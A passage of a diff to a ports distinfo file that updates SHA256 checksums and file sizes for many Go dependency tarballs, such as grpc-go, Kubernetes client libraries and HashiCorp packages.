(golang-xerrors-04be3eba64a2_GH0.tar.gz) = 1b1756da9c87dce13834d0a495f2fe4d560b95a4aa208b638afbe602a872d26a SIZE (golang-xerrors-04be3eba64a2_GH0.tar.gz) = 13746 -SHA256 (google-btree-v1.0.1_GH0.tar.gz) = 240723cff7c3c28e8444d45e500e65b2c25df519273260f248786e1a7367a654 -SIZE (google-btree-v1.0.1_GH0.tar.gz) = 15381 -SHA256 (google-go-cmp-v0.5.8_GH0.tar.gz) = 34b57f44eb6ead7de4988fd91a8605f77ecb4a430ddbba36bada0d0224017222 -SIZE (google-go-cmp-v0.5.8_GH0.tar.gz) = 104647 -SHA256 (google-go-genproto-2b89144ce006_GH0.tar.gz) = cffb58cd2c847734e90dab670759acfbd8c0886e32385c7883546db16a87bd33 -SIZE (google-go-genproto-2b89144ce006_GH0.tar.gz) = 12416881 +SHA256 (google-btree-v1.1.2_GH0.tar.gz) = b8722a430b40035f04001ca62bb858abe931a781f76bd37d6a3e1bb23273ba2d +SIZE (google-btree-v1.1.2_GH0.tar.gz) = 19771 +SHA256 (google-gnostic-v0.5.7-v3refs_GH0.tar.gz) = fa26b61e49d4a14d7bc2bf05949342dfdfb4722a8bb16f264e3a4a40884f34b2 +SIZE (google-gnostic-v0.5.7-v3refs_GH0.tar.gz) = 466205 +SHA256 (google-go-cmp-v0.5.9_GH0.tar.gz) = 41a074c2fcfc72f813736f8ca8e3116e260a6b79af407d9da0d4c5e4c3f61acf +SIZE (google-go-cmp-v0.5.9_GH0.tar.gz) = 104427 +SHA256 (google-go-genproto-31e0e69b6fc2_GH0.tar.gz) = 38890131c4d7c0ca72736be51fa3b5bb1dc6017d446d671ff640c7bd78786bec +SIZE (google-go-genproto-31e0e69b6fc2_GH0.tar.gz) = 6394194 SHA256 (google-go-querystring-v1.1.0_GH0.tar.gz) = a5641dee688eb2c733608ce5a88d8181c93ad9f5083fd97fadbccb91afad9a56 SIZE (google-go-querystring-v1.1.0_GH0.tar.gz) = 10423 SHA256 (google-gofuzz-v1.2.0_GH0.tar.gz) = 4ad7fb7616dcbdc2d394ff98350226659e10dfe4dde9ed3256881351b0d515bb SIZE (google-gofuzz-v1.2.0_GH0.tar.gz) = 17042 -SHA256 (google-pprof-70bd9ae97f40_GH0.tar.gz) = 0d6c0619e1525140ae44a05e4a1280ea900f95476932726fb0229b0116210b3b -SIZE (google-pprof-70bd9ae97f40_GH0.tar.gz) = 1740190 +SHA256 (google-pprof-76d1ae5aea2b_GH0.tar.gz) = 671bcf46aca84a1b1d72284941293f19e761400d4a0f694b3e936048616812ea +SIZE (google-pprof-76d1ae5aea2b_GH0.tar.gz) = 2948985 SHA256 (google-renameio-v2.0.0_GH0.tar.gz) = 992fc6e0a575a53350540c57e13dbd7485bf873b3db71ee1b1a9d8f887e58c12 SIZE (google-renameio-v2.0.0_GH0.tar.gz) = 14217 SHA256 (google-uuid-v1.3.0_GH0.tar.gz) = 7f7f37c47980e0afcc178a9ffc390bec29ed2371919b4c07658eb01791a7f921 SIZE (google-uuid-v1.3.0_GH0.tar.gz) = 16210 -SHA256 (googleapis-enterprise-certificate-proxy-v0.1.0_GH0.tar.gz) = 5611ff51de7b9654d1b3eaa706d37a2464ccf5ad63f3ce8854988b072f310588 -SIZE (googleapis-enterprise-certificate-proxy-v0.1.0_GH0.tar.gz) = 25962 -SHA256 (googleapis-gax-go-v2.5.1_GH0.tar.gz) = 1b9d1503629cd7768312f1a431b0cd7dc30387e85f3ee81c8596143921799799 -SIZE (googleapis-gax-go-v2.5.1_GH0.tar.gz) = 70304 -SHA256 (googleapis-gnostic-v0.5.5_GH0.tar.gz) = c5d122e458409053b48ef9fc2c350c97e1c1f90b478b850df2b2f7ee49dd8f69 -SIZE (googleapis-gnostic-v0.5.5_GH0.tar.gz) = 461734 -SHA256 (googleapis-go-type-adapters-v1.0.0_GH0.tar.gz) = ae4741b91c2f7f18c7aa4c4f64e7361b9012b8284c2dc7a89f7808c1fcae6b5e -SIZE (googleapis-go-type-adapters-v1.0.0_GH0.tar.gz) = 18107 -SHA256 (googleapis-google-api-go-client-v0.96.0_GH0.tar.gz) = 481c4eb8e18ed5d6d13cdf191e03122ace4ebcbd7c154a5ae180f7d12f440f45 -SIZE (googleapis-google-api-go-client-v0.96.0_GH0.tar.gz) = 26444882 -SHA256 (googleapis-google-cloud-go-bigtable-v1.3.0_GH0.tar.gz) = 0a85e2b1d057a103e83852e8e032e77d5d61d447d35c525f9946f1d1b9333f3c -SIZE (googleapis-google-cloud-go-bigtable-v1.3.0_GH0.tar.gz) = 2521597 -SHA256 (googleapis-google-cloud-go-compute-v1.7.0_GH0.tar.gz) = 0351eff5939c2c0dd88c6f944e28d7cd3a9f2ba884eca02fee67eb84494a6386 -SIZE (googleapis-google-cloud-go-compute-v1.7.0_GH0.tar.gz) = 8518871 -SHA256 (googleapis-google-cloud-go-pubsub-v1.25.0_GH0.tar.gz) = c3b880b7bb3c04a62d57db20fa4f50cb82c305b4bdd36dc257c278cabc00e457 -SIZE (googleapis-google-cloud-go-pubsub-v1.25.0_GH0.tar.gz) = 9216746 -SHA256 (googleapis-google-cloud-go-storage-v1.23.0_GH0.tar.gz) = cf27531f8806db9b81b8928ad24cc7580ca444ea92b33e45d75864029289f2d4 -SIZE (googleapis-google-cloud-go-storage-v1.23.0_GH0.tar.gz) = 8524022 -SHA256 (googleapis-google-cloud-go-v0.104.0_GH0.tar.gz) = fec2ed3b21ac4a6d4a5b6826a246b597bab05785c60d4b68a2bee864443f3f84 -SIZE (googleapis-google-cloud-go-v0.104.0_GH0.tar.gz) = 9220432 +SHA256 (googleapis-enterprise-certificate-proxy-v0.2.1_GH0.tar.gz) = 0f34a5fc8ead4b1665dc9043234b952b4ab29c945e5c2006c320382da7564818 +SIZE (googleapis-enterprise-certificate-proxy-v0.2.1_GH0.tar.gz) = 31581 +SHA256 (googleapis-gax-go-v2.7.0_GH0.tar.gz) = 87891c9e72a2482ade4ec60d0ebc4d5fa6a3396e5e3593d5bb060d4a421c9677 +SIZE (googleapis-gax-go-v2.7.0_GH0.tar.gz) = 52950 +SHA256 (googleapis-google-api-go-client-v0.109.0_GH0.tar.gz) = 21d5dbc402251a42f34b27e3be22673d14fd52194005b170e946980ee093c1d5 +SIZE (googleapis-google-api-go-client-v0.109.0_GH0.tar.gz) = 30947843 +SHA256 (googleapis-google-cloud-go-bigtable-v1.18.1_GH0.tar.gz) = 44f1b5fe432f6a21497691577d787fa47ee11cab51542f023ab8151d74bf1989 +SIZE (googleapis-google-cloud-go-bigtable-v1.18.1_GH0.tar.gz) = 18472373 +SHA256 (googleapis-google-cloud-go-compute-v1.14.0_GH0.tar.gz) = d6b2bf44701a8ca2560fa0a99a62eaaf467efcb33b165641e6e7905bf4206150 +SIZE (googleapis-google-cloud-go-compute-v1.14.0_GH0.tar.gz) = 18528169 +SHA256 (googleapis-google-cloud-go-pubsub-v1.28.0_GH0.tar.gz) = c4217287c4f338f126327cc18d743a097cfe78cd3b61b45f01328e56f70f4265 +SIZE (googleapis-google-cloud-go-pubsub-v1.28.0_GH0.tar.gz) = 18528499 +SHA256 (googleapis-google-cloud-go-storage-v1.29.0_GH0.tar.gz) = 85518e2254da39ca6bae66bd500f8e9768130bb9a3126d0802b1922b5a5a4939 +SIZE (googleapis-google-cloud-go-storage-v1.29.0_GH0.tar.gz) = 19728950 +SHA256 (googleapis-google-cloud-go-v0.107.0_GH0.tar.gz) = 61424d11cfc55c15f64729052d5e9d07bef8480c00c7f2c53be7c471310b81b9 +SIZE (googleapis-google-cloud-go-v0.107.0_GH0.tar.gz) = 16064931 +SHA256 (googleapis-google-cloud-go-compute-metadata-v0.2.3_GH0.tar.gz) = c83b666324b7ae4997298d55efde8b1a3890d02fb1b86395e305e7f8ad0bfa51 +SIZE (googleapis-google-cloud-go-compute-metadata-v0.2.3_GH0.tar.gz) = 18575574 SHA256 (googleapis-google-cloud-go-v0.3.0_GH0.tar.gz) = f9fe681835ba5caa53f852cf4863cbfa747d07a9e2456f2bcbd5cf1d26a208d3 SIZE (googleapis-google-cloud-go-v0.3.0_GH0.tar.gz) = 759664 -SHA256 (gophercloud-gophercloud-v1.0.0_GH0.tar.gz) = f094910ab63e816ac7ce7be3833ea7ca020cd8ebeb993bc999bc1f916605b973 -SIZE (gophercloud-gophercloud-v1.0.0_GH0.tar.gz) = 1085829 +SHA256 (googleapis-google-cloud-go-v0.8.0_GH0.tar.gz) = a9d7b310e5568164fdb211435b7e7d362f7bdce4de5483537665d870eee04049 +SIZE (googleapis-google-cloud-go-v0.8.0_GH0.tar.gz) = 1043680 +SHA256 (gophercloud-gophercloud-v1.1.1_GH0.tar.gz) = 28a854a585e854c08cf603013f0df0353c0f8032d8234e398d83d55ea8dec88d +SIZE (gophercloud-gophercloud-v1.1.1_GH0.tar.gz) = 1099680 SHA256 (gorilla-mux-v1.8.0_GH0.tar.gz) = ea2639259d2ce6f402636655e91eb93ba69c139e3cbf80b044ee393ada53757b SIZE (gorilla-mux-v1.8.0_GH0.tar.gz) = 45517 SHA256 (gorilla-websocket-v1.5.0_GH0.tar.gz) = 5d86f9e1c76ff7ceca0747f78b79864fbaec9d440f4fdb03197466e5102a86b0 SIZE (gorilla-websocket-v1.5.0_GH0.tar.gz) = 54155 -SHA256 (grafana-dskit-b1b307db4f30_GH0.tar.gz) = 205853b8da3a3888b6feca55eeea3bb71217e59437bf87a06c80c95d87639303 -SIZE (grafana-dskit-b1b307db4f30_GH0.tar.gz) = 259639 +SHA256 (grafana-cloudflare-go-c627cf6792f2_GH0.tar.gz) = a41a1568581d5ddf3031cc31358c8e58be507829fc2dc72c3f3f33389e9c7739 +SIZE (grafana-cloudflare-go-c627cf6792f2_GH0.tar.gz) = 1332332 +SHA256 (grafana-dskit-528d8a7d52f2_GH0.tar.gz) = 466604c9d1aadf8be5b4bd4385ea87cb1c984c3ae61490593141390fbf80e90b +SIZE (grafana-dskit-528d8a7d52f2_GH0.tar.gz) = 293635 SHA256 (grafana-go-gelf-v2.0.1_GH0.tar.gz) = 317e61cbf2f1edeb55939570a2e0a9f18e84348fc91517872e29827227023bd5 SIZE (grafana-go-gelf-v2.0.1_GH0.tar.gz) = 14868 SHA256 (grafana-gocql-ba5dc39ece85_GH0.tar.gz) = c73fedb7fb31aeadc409c8ad41effa0961f8e316eef8bf5a49e891e1cef2f22a SIZE (grafana-gocql-ba5dc39ece85_GH0.tar.gz) = 210348 +SHA256 (grafana-gomemcache-11f792309e1f_GH0.tar.gz) = bd57e440ae823aaa54b89665a01a9924de8be4fb9bdb44fccbb650256daaa6a4 +SIZE (grafana-gomemcache-11f792309e1f_GH0.tar.gz) = 15026 SHA256 (grafana-memberlist-09ffed8adbbe_GH0.tar.gz) = c24da0daef16b85a56d3f4f0231b2c6a63f90c109d10d26db4b6260c6461c118 SIZE (grafana-memberlist-09ffed8adbbe_GH0.tar.gz) = 103296 SHA256 (grafana-regexp-b4c2bcb0a4b6_GH0.tar.gz) = 056a36eba05293cc33d9a4d00a93e6933bc19112da6d5d27c360c1a71b7cf35c SIZE (grafana-regexp-b4c2bcb0a4b6_GH0.tar.gz) = 471527 -SHA256 (grafana-tail-e88cf3c7a8f6_GH0.tar.gz) = 33593694cc8e96e95c4038d142c82f7ca0a677f8fc5b9eed1c21f1e9c9a7c5a6 -SIZE (grafana-tail-e88cf3c7a8f6_GH0.tar.gz) = 1269522 +SHA256 (grafana-tail-3a1c242a4d7b_GH0.tar.gz) = cb50267678144aed42286078986b69d22e4320a10d98bd058e26846db31dacc9 +SIZE (grafana-tail-3a1c242a4d7b_GH0.tar.gz) = 1269645 SHA256 (grpc-ecosystem-go-grpc-middleware-v1.3.0_GH0.tar.gz) = c9b908202c05a7f821b03ee49cd678e7e71469519054629770e0565d78275cbc SIZE (grpc-ecosystem-go-grpc-middleware-v1.3.0_GH0.tar.gz) = 103780 SHA256 (grpc-ecosystem-grpc-opentracing-8e809c8a8645_GH0.tar.gz) = bcd74df6e349a133110274f0976673fe2f62857002fbf161cb5ecee9e644ba07 SIZE (grpc-ecosystem-grpc-opentracing-8e809c8a8645_GH0.tar.gz) = 48164 -SHA256 (grpc-grpc-go-v1.45.0_GH0.tar.gz) = fc67e6dc18bb7990688b080b72b446791d4c5e58c2e21207717f15daf0c3be65 -SIZE (grpc-grpc-go-v1.45.0_GH0.tar.gz) = 1435144 +SHA256 (grpc-grpc-go-v1.52.3_GH0.tar.gz) = ccbeb93c10b30a0473fc411d0f05df3bdecccf6f21890897c6625b8f0fd4a854 +SIZE (grpc-grpc-go-v1.52.3_GH0.tar.gz) = 1765077 SHA256 (hailocab-go-hostpool-e80d13ce29ed_GH0.tar.gz) = c757c20d1397898e890ed61eb5e5c0ae21a3e5f1f9b290c7ea45c68c2f34b7ac SIZE (hailocab-go-hostpool-e80d13ce29ed_GH0.tar.gz) = 7028 -SHA256 (hashicorp-consul-api-v1.15.2_GH0.tar.gz) = 00f6851de4a0ec69e04fd972fb1fd53bc37e7d36d9dd0c6d646d1f8a619ceae8 -SIZE (hashicorp-consul-api-v1.15.2_GH0.tar.gz) = 25414040 +SHA256 (hashicorp-consul-api-v1.18.0_GH0.tar.gz) = e05aa7190410cc22a81ab8e8add4f2740561d19686fda368ac95df5302f83851 +SIZE (hashicorp-consul-api-v1.18.0_GH0.tar.gz) = 26750079 SHA256 (hashicorp-consul-v1.5.1_GH0.tar.gz) = 704511c916beb2e3de5cb4fc5d183d6e37bb31ad78252acd20da8a9e1153ebe0 SIZE (hashicorp-consul-v1.5.1_GH0.tar.gz) = 21123911 SHA256 (hashicorp-errwrap-v1.1.0_GH0.tar.gz) = 0d73891a7a179e50a142ac8832db97b17c792d29ae205b0e6aeedde4c43d51a4 SIZE (hashicorp-errwrap-v1.1.0_GH0.tar.gz) = 8581 SHA256 (hashicorp-go-cleanhttp-v0.5.2_GH0.tar.gz) = 091d90c479401bc9047454c25f91a97a6707e6a279ce778e4881cf6b0191a47f SIZE (hashicorp-go-cleanhttp-v0.5.2_GH0.tar.gz) = 8094 -SHA256 (hashicorp-go-hclog-v0.16.2_GH0.tar.gz) = b7bc12bbe0258df291a0fc06846318ffd85d9fb1a23cb0532b2420d44a1931d7 -SIZE (hashicorp-go-hclog-v0.16.2_GH0.tar.gz) = 27604 +SHA256 (hashicorp-go-hclog-v1.2.0_GH0.tar.gz) = 2c7cfc5e1a4d0c2b360eca3ef63986ed9e70f387bed2070be2524db8605763cd +SIZE (hashicorp-go-hclog-v1.2.0_GH0.tar.gz) = 28983 SHA256 (hashicorp-go-immutable-radix-v1.3.1_GH0.tar.gz) = a230480398365aa51d06a3082f7038172b515394c6409e96a519b0d17154b5a1 SIZE (hashicorp-go-immutable-radix-v1.3.1_GH0.tar.gz) = 27598 SHA256 (hashicorp-go-msgpack-v0.5.5_GH0.tar.gz) = a6a95afd348ce6f0be9183266d9479d8b8738097ff82b16345a78c7e26a37e13 SIZE (hashicorp-go-msgpack-v0.5.5_GH0.tar.gz) = 50069 SHA256 (hashicorp-go-multierror-v1.1.1_GH0.tar.gz) = 8d1bb3377310e8ffe4c7b5672c5de1eaed153402aebd15d6e5b9673c356a065f SIZE (hashicorp-go-multierror-v1.1.1_GH0.tar.gz) = 13803 +SHA256 (hashicorp-go-retryablehttp-v0.7.2_GH0.tar.gz) = 0dbf0a01f634671ca970cbbb2e15049c7517d44cfd57725b085ba1673234e38f +SIZE (hashicorp-go-retryablehttp-v0.7.2_GH0.tar.gz) = 21353 SHA256 (hashicorp-go-rootcerts-v1.0.2_GH0.tar.gz) = dca11d5ff16f3d29f632a7bf3c13cb9c87f021a5363faf22e4c45c8e073bf64c SIZE (hashicorp-go-rootcerts-v1.0.2_GH0.tar.gz) = 12242 SHA256 (hashicorp-go-sockaddr-v1.0.2_GH0.tar.gz) = ce70228b6c0ac432b97c2a98697600668bf7ac8b4cd21e7c6767bed1e755ae7f SIZE (hashicorp-go-sockaddr-v1.0.2_GH0.tar.gz) = 663049 -SHA256 (hashicorp-go-uuid-v1.0.2_GH0.tar.gz) = 2dee0f810c3e3a2cd3d49a075d0a64a88806c90712a4b66013b20a1ff0562eae -SIZE (hashicorp-go-uuid-v1.0.2_GH0.tar.gz) = 7058 -SHA256 (hashicorp-golang-lru-v0.5.4_GH0.tar.gz) = d50c188af0cc8b22e7e4b79e9071694fa06428a9964b22d68dc997fa787a177a -SIZE (hashicorp-golang-lru-v0.5.4_GH0.tar.gz) = 13428 -SHA256 (hashicorp-serf-v0.9.7_GH0.tar.gz) = b5c64efedc5b2fd1cfb5743cf744e791c56aaf649d6cbc93431b7f494ef7fc1c -SIZE (hashicorp-serf-v0.9.7_GH0.tar.gz) = 445076 -SHA256 (heroku-x-v0.0.50_GH0.tar.gz) = 6fedb376ee38683b0d90eae42d57b1daf01ed7edc561bb4f92e6717c3a9e054a -SIZE (heroku-x-v0.0.50_GH0.tar.gz) = 145015 -SHA256 (huandu-xstrings-v1.3.1_GH0.tar.gz) = d399f03735391073441145bac6b8d06b36f3b59e005db77ebafde130ddf215bf -SIZE (huandu-xstrings-v1.3.1_GH0.tar.gz) = 17797 -SHA256 (imdario-mergo-v0.3.12_GH0.tar.gz) = f0ad95fe47f1a9c15545fe3e8abf4364b8163a0f872ce25d6f6ae85e7c885302 -SIZE (imdario-mergo-v0.3.12_GH0.tar.gz) = 22319 -SHA256 (inetaf-netaddr-c74959edd3b6_GH0.tar.gz) = 08cb0c2a25196090d3b064d3a4b35a55e7e2e8b3f19ef27a022b40b2a9cc3d75 -SIZE (inetaf-netaddr-c74959edd3b6_GH0.tar.gz) = 50514 +SHA256 (hashicorp-go-uuid-v1.0.3_GH0.tar.gz) = fc3d6d38503b8cd2d65de7d3dce9dc7fa2673cdaa6ff292575a6a0a2ba9a91ac +SIZE (hashicorp-go-uuid-v1.0.3_GH0.tar.gz) = 7095 +SHA256 (hashicorp-golang-lru-v0.6.0_GH0.tar.gz) = 46d4b1e56c0dd83e2e3fda4c9ad6bd4616e50d7d2534657ca0c70d3924d5df5f +SIZE (hashicorp-golang-lru-v0.6.0_GH0.tar.gz) = 14530 +SHA256 (hashicorp-serf-v0.10.1_GH0.tar.gz) = cd98087010275887e90d0761a3c63c6c1be7fb00f5a827ae57ac4c82e8a55ec5 +SIZE (hashicorp-serf-v0.10.1_GH0.tar.gz) = 447396 +SHA256 (heroku-x-v0.0.55_GH0.tar.gz) = 795fba813d73163e7b693741d89502403356fd58934aaf5c29f94d34ef169ed6 +SIZE (heroku-x-v0.0.55_GH0.tar.gz) = 149352 +SHA256 (huandu-xstrings-v1.3.3_GH0.tar.gz) = d3851fd60a6621f56df3a8b9732df0a9acb2611f4320a569bb528d3f2cff177e +SIZE (huandu-xstrings-v1.3.3_GH0.tar.gz) = 18423 +SHA256 (imdario-mergo-v0.3.13_GH0.tar.gz) = 0cfd6c6d112688aea782726ef90379065e12632d27d886c3b1d9bd4481304652 +SIZE (imdario-mergo-v0.3.13_GH0.tar.gz) = 22792 SHA256 (influxdata-go-syslog-a1889d947b48_GH0.tar.gz) = af19a3f6e15879cb363e68ab698cc15dee1dc66918777a4089e3489fc0eba1e7 SIZE (influxdata-go-syslog-a1889d947b48_GH0.tar.gz) = 155476 SHA256 (influxdata-telegraf-v1.16.3_GH0.tar.gz) = 576c9cade0ed12d055e3cd3deced35936c96a5a4785dd915463fd1282fcdca09 @@ -343,10 +371,10 @@ SHA256 (jcmturner-aescts-v2.0.0_GH0.tar.gz) = fe4be1d56d46dd42e382fb9c80a4749f80 SIZE (jcmturner-aescts-v2.0.0_GH0.tar.gz) = 8988 SHA256 (jcmturner-dnsutils-v2.0.0_GH0.tar.gz) = cf159f3bad90db84dc8c8814d10f10560c7ec83c4ec160dfad9502d4a17c9958 SIZE (jcmturner-dnsutils-v2.0.0_GH0.tar.gz) = 7961 -SHA256 (jcmturner-gofork-v1.0.0_GH0.tar.gz) = d85188110837abd563dca4d9013665f82348a541beb47ee08207e70a161c9755 -SIZE (jcmturner-gofork-v1.0.0_GH0.tar.gz) = 27036 -SHA256 (jcmturner-gokrb5-v8.4.2_GH0.tar.gz) = 089b73043d9209d998b81f117f22b0c5c4e749c0270d6e12eba649b25e8e0b0a -SIZE (jcmturner-gokrb5-v8.4.2_GH0.tar.gz) = 306132 +SHA256 (jcmturner-gofork-v1.7.6_GH0.tar.gz) = cce7c28e3a854b52a8c3b596caefd1e37fa490f0e4d7f634bac91838b201907c +SIZE (jcmturner-gofork-v1.7.6_GH0.tar.gz) = 27095 +SHA256 (jcmturner-gokrb5-v8.4.3_GH0.tar.gz) = f007d6cc52080feb32a9d010520edcbf9e4338b3018dc33b8c119d214c33dae6 +SIZE (jcmturner-gokrb5-v8.4.3_GH0.tar.gz) = 307408 SHA256 (jcmturner-rpc-v2.0.3_GH0.tar.gz) = 4bedb66a89dd261063d42e5f08d22eab3373ef529a78d72800f8727b62336ca3 SIZE (jcmturner-rpc-v2.0.3_GH0.tar.gz) = 55627 SHA256 (jmespath-go-jmespath-v0.4.0_GH0.tar.gz) = aa86d00b6836345eee196c13df2df084a18e0b1159935de9289f2ef6a7fe375d @@ -361,72 +389,78 @@ SHA256 (json-iterator-go-v1.1.12_GH0.tar.gz) = ff70e539fd919da757a2f3a530a053e75 SIZE (json-iterator-go-v1.1.12_GH0.tar.gz) = 84307 SHA256 (julienschmidt-httprouter-v1.3.0_GH0.tar.gz) = 2999dffc23f8ac3872ea37d108ddec0ba570d2780a42876300bdcdb0744908e2 SIZE (julienschmidt-httprouter-v1.3.0_GH0.tar.gz) = 23889 -SHA256 (klauspost-compress-v1.15.11_GH0.tar.gz) = e79cfb490113c6983c5ba962f2e61bde4572f1cdcc02bbf9573f479c7eee5773 -SIZE (klauspost-compress-v1.15.11_GH0.tar.gz) = 36199166 -SHA256 (klauspost-cpuid-v2.0.14_GH0.tar.gz) = 291f3636bcf72dbeca0ee4e7f02edb404acb4d2d8781b1295c5ab81802db5c59 -SIZE (klauspost-cpuid-v2.0.14_GH0.tar.gz) = 345081 +SHA256 (klauspost-compress-v1.15.15_GH0.tar.gz) = 1978338b356774cd894d76afe55aa250d359de42d3c819043b8c1451d4731dfb +SIZE (klauspost-compress-v1.15.15_GH0.tar.gz) = 36378548 +SHA256 (klauspost-cpuid-v2.1.0_GH0.tar.gz) = d84f4a32142e45f56188b7f0a0d794cd3e1d505bdfa8868dfe82bb772d173929 +SIZE (klauspost-cpuid-v2.1.0_GH0.tar.gz) = 436975 SHA256 (klauspost-pgzip-v1.2.5_GH0.tar.gz) = a64bad5981a232f6b5a40e488708b19a0551e83465f6792b7925f90829d7a830 SIZE (klauspost-pgzip-v1.2.5_GH0.tar.gz) = 125923 -SHA256 (kubernetes-sigs-json-f223a00ba0e2_GH0.tar.gz) = d90e96ef7104f9e6a075c0add10f3631e86f3eac8204771f2b0cb14a5cebb70d -SIZE (kubernetes-sigs-json-f223a00ba0e2_GH0.tar.gz) = 208109 +SHA256 (kubernetes-sigs-json-bc3834ca7abd_GH0.tar.gz) = faa6c5d3fa09b9a84b61b106ec1ea5b37db81f7a3c0ab9915aae393d58557d4a +SIZE (kubernetes-sigs-json-bc3834ca7abd_GH0.tar.gz) = 208695 SHA256 (kubernetes-sigs-structured-merge-diff-v4.2.3_GH0.tar.gz) = c7684a643de1b90d20a9e1526da5dd6d567105c3e5dcefcac2aeb82126d6524c SIZE (kubernetes-sigs-structured-merge-diff-v4.2.3_GH0.tar.gz) = 368740 SHA256 (kubernetes-sigs-yaml-v1.3.0_GH0.tar.gz) = 68746328d6a1d59390ea4ac4be83907f9f8702aaaa1626b7a188e607241ed883 SIZE (kubernetes-sigs-yaml-v1.3.0_GH0.tar.gz) = 93136 -SHA256 (kubernetes-api-v0.23.6_GH0.tar.gz) = 820e278a2a38aeb1f2a34e6f44b6636049f337421327daf35159f82bfea21b50 -SIZE (kubernetes-api-v0.23.6_GH0.tar.gz) = 3040160 -SHA256 (kubernetes-apimachinery-v0.23.6_GH0.tar.gz) = 78b081d602af8c9efb75a70558b4cbe07cd74927780101fb82e7c5f4be722596 -SIZE (kubernetes-apimachinery-v0.23.6_GH0.tar.gz) = 561518 -SHA256 (kubernetes-client-go-v0.23.6_GH0.tar.gz) = b2f87f29d7034cf7048705ad69fc90ed73f6be3188e7a701e83f6756be7bfccc -SIZE (kubernetes-client-go-v0.23.6_GH0.tar.gz) = 1011099 +SHA256 (kubernetes-api-v0.26.1_GH0.tar.gz) = e64b34120c20c87c126b681aee1a083ffd999b6f8c051f07620d9e64b7653183 +SIZE (kubernetes-api-v0.26.1_GH0.tar.gz) = 2020970 +SHA256 (kubernetes-apimachinery-v0.26.1_GH0.tar.gz) = 0087c6f798725a3ae436aee484239fced2323b5efb147d2f44abd036d7c56a36 +SIZE (kubernetes-apimachinery-v0.26.1_GH0.tar.gz) = 567198 +SHA256 (kubernetes-client-go-v0.26.1_GH0.tar.gz) = 2dcb269508e6c6cf0e1c676d05d0de725d52dc876b1f600900a78922a7b68ce8 +SIZE (kubernetes-client-go-v0.26.1_GH0.tar.gz) = 1164723 SHA256 (kubernetes-klog-v1.0.0_GH0.tar.gz) = eb84fc7a8051175f2da4a428360ce70703c8ccdd0e987fddc2f9d5c8fd97cd00 SIZE (kubernetes-klog-v1.0.0_GH0.tar.gz) = 32366 -SHA256 (kubernetes-klog-v2.80.0_GH0.tar.gz) = 83e2428297492e6550766584cd1e9423caab19f6be801e3edf5dd27d29e8e208 -SIZE (kubernetes-klog-v2.80.0_GH0.tar.gz) = 89073 -SHA256 (kubernetes-kube-openapi-e816edb12b65_GH0.tar.gz) = 636def79941e011c8f16593aad4802ceb161077438318b873222f6bef6add84c -SIZE (kubernetes-kube-openapi-e816edb12b65_GH0.tar.gz) = 877450 -SHA256 (kubernetes-utils-ee6ede2d64ed_GH0.tar.gz) = eb556b0e5069e1787b6e4df470e06e75b6867a7000c12e2ddcd884371775029b -SIZE (kubernetes-utils-ee6ede2d64ed_GH0.tar.gz) = 108970 +SHA256 (kubernetes-klog-v2.80.1_GH0.tar.gz) = 78730bcf9f801be40f98dc45ed43e942ca168b2bffa1b5d04b05c0aa7de1c95f +SIZE (kubernetes-klog-v2.80.1_GH0.tar.gz) = 89632 +SHA256 (kubernetes-kube-openapi-f3cff1453715_GH0.tar.gz) = 2babf1160fd41f67591ad763675b439d2d467066566229837b042e4e2b6c21df +SIZE (kubernetes-kube-openapi-f3cff1453715_GH0.tar.gz) = 2026501 +SHA256 (kubernetes-utils-99ec85e7a448_GH0.tar.gz) = 3f912ac5d992e873c28513fe59d7c9094e5f7d8342226d22c1207c6994ca9d0a +SIZE (kubernetes-utils-99ec85e7a448_GH0.tar.gz) = 110383 +SHA256 (kylelemons-godebug-v1.1.0_GH0.tar.gz) = 72cc6f274fbd165b7674280f836a6b400e80dbae055919e101920dedf50e79db +SIZE (kylelemons-godebug-v1.1.0_GH0.tar.gz) = 17637 SHA256 (leodido-ragel-machinery-299bdde78165_GH0.tar.gz) = 8782d5149f5b2bb61634cac07573c07a83bae4e16257fc8f9039fd0688b1b874 SIZE (leodido-ragel-machinery-299bdde78165_GH0.tar.gz) = 7274 SHA256 (mailru-easyjson-v0.7.7_GH0.tar.gz) = 18ce2051cda6b20a09163d9ecedf905593d7777db043b32b263e62b1cebb7f73 SIZE (mailru-easyjson-v0.7.7_GH0.tar.gz) = 81404 -SHA256 (mattn-go-colorable-v0.1.12_GH0.tar.gz) = 32493594aee411896ffe13aaed14df4a23c3006866c46c1a908af79eacd102b2 -SIZE (mattn-go-colorable-v0.1.12_GH0.tar.gz) = 9801 +SHA256 (mattn-go-colorable-v0.1.13_GH0.tar.gz) = c3b62c76d365906bba9aa9d9ec048fd33a2a5742299d6482a08e7466d4c52d77 +SIZE (mattn-go-colorable-v0.1.13_GH0.tar.gz) = 9762 SHA256 (mattn-go-ieproxy-v0.0.1_GH0.tar.gz) = 26cc1f0d9ba19556cd91e0d4ed07ba2042eacd07c5b9aec082f7a77e2ef1fa28 SIZE (mattn-go-ieproxy-v0.0.1_GH0.tar.gz) = 9090 -SHA256 (mattn-go-isatty-v0.0.14_GH0.tar.gz) = e6460325edf600297cf2ef68834938fb1c5b8d5f234b3b24ec7c0a29a2d70b39 -SIZE (mattn-go-isatty-v0.0.14_GH0.tar.gz) = 4710 -SHA256 (matttproud-golang_protobuf_extensions-c182affec369_GH0.tar.gz) = 66a6911e621bfd8823078568688b5683d66ce0b8f85da7b1288d3533d2724735 -SIZE (matttproud-golang_protobuf_extensions-c182affec369_GH0.tar.gz) = 37518 +SHA256 (mattn-go-isatty-v0.0.17_GH0.tar.gz) = 7d1d64aafb6a110ab02be1094a8d11bda3f64faf200b4c81c5c9ae4de942612b +SIZE (mattn-go-isatty-v0.0.17_GH0.tar.gz) = 4698 +SHA256 (matttproud-golang_protobuf_extensions-v1.0.4_GH0.tar.gz) = b64cab9cb9ae8b9162c7197aeedc6ed617b4c93e4f5674c3ec6cd2e9b0d9d09c +SIZE (matttproud-golang_protobuf_extensions-v1.0.4_GH0.tar.gz) = 37510 SHA256 (miekg-dns-v1.1.50_GH0.tar.gz) = ec2adbce4b968936c1842f3273c76474ae1f84252e431d04b835c30235721dde SIZE (miekg-dns-v1.1.50_GH0.tar.gz) = 208928 SHA256 (minio-md5-simd-v1.1.2_GH0.tar.gz) = 60a01d2023a0c44434ac7d9d18cfcb5538fdaf8413227465935926a683939683 SIZE (minio-md5-simd-v1.1.2_GH0.tar.gz) = 105043 -SHA256 (minio-minio-go-ef3e45ed9cdb_GH0.tar.gz) = 68e25b9ba6bb4cb1db4393bd76d3b0c7bd80ba4f1346f5c5dc2b19f82046b540 -SIZE (minio-minio-go-ef3e45ed9cdb_GH0.tar.gz) = 